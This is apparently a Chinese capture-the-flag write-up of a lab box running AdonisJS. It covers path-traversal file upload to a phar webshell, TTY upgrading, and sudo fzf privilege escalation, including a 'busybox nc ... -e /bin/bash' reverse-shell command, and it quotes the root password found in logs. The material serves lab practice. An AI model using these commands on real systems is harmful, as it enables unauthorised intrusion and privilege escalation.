userflag
nmap扫端口,出80和8080,一次查看发现仅仅是静态网页,而且识别不出是什么语言,于是扫目录
1 | 80 |
那么80端口这3个玩意是是nodejs的核心文件

这里可以看框架是AdonisJS:一个 Node.js 全栈 Web 框架。并且暴露了中间件的版本,这里先放在这!然后这是一个web目录,不然怎么可以直接访问文件呢?80端口到这差不多
8080肯定就是nodejs起的服务了,那么能文件上传而且看到上传的目录

这里我联想到上次浅析的一个js的洞,通过session去目录穿越。

浅析CVE-2025-61686-ReactRouter-任意文件写入漏洞 那么我的第一反应并是通过文件名去进行目录穿越,发现ok的!那么随之而来的就是如何去getshell,这里我当时傻了(没结合前面的信息),我就想你nodejs起的服务上传木马也访问不了啊!于是我就去搜文章
CVE-2026-21440不看不知道,一看吓一跳都对应上了,懒得分析了,直接拿来打!但是不行哈!
于是还是得去分析,发现它其实就是上传木马到web目录,web目录在哪呢?80端口啊XD!!!
乐呵呵地去上传,文件后缀有黑名单,一顿绕过都不行,知识盲区了,最后得知可以上传phar且可以解析,那就好办了,一个木马上去,不就拿到shell了嘛!
非交互式的tty,两种办法起交互式tty
1 | script /dev/null -c bash |
/home/welcome需要welcome权限,所以尝试提权,有个sudo可以用,然后mooi给我安利了一个比较好的提权命令查询的网站fzf | GTFOBins

允许任意用户以 welcome 用户 / 用户组的身份((welcome)),无需密码执行 /usr/bin/fzf
两种提取命令:
1 | sudo /usr/bin/fzf --preview 'busybox nc ip port -e /bin/bash' |
这个不用怕shell崩,它是会预先执行
1 | sudo -u welcome fzf --bind 'enter:execute(/bin/bash)' |
这个就对shell有些要求,加固一下,当时比较急mooi直接给了我加固的命令,有个伙伴真的太棒了
因为我们拿到的是伪交互式tty,ctrl+z之后输入下面命令
1 | stty raw -echo; fg |
这个命令是 Unix/Linux 终端中修复伪 TTY 交互体验的核心命令组合,所以反弹shell在kali进行,我前面win的nc不行然后执行提权命令就ok了
fg就是将后台挂起的进程调回前台

rootflag
复现:
jorJs的root部分给个提示:journalctl
是一个查看日志的命令

MazeSec-journalctl-AdonisJS就是提权的密码,哈哈哈!
过程:现在看了简单哦,但是打可是花了我不少时间,冷静思考,不断复盘,持续进步!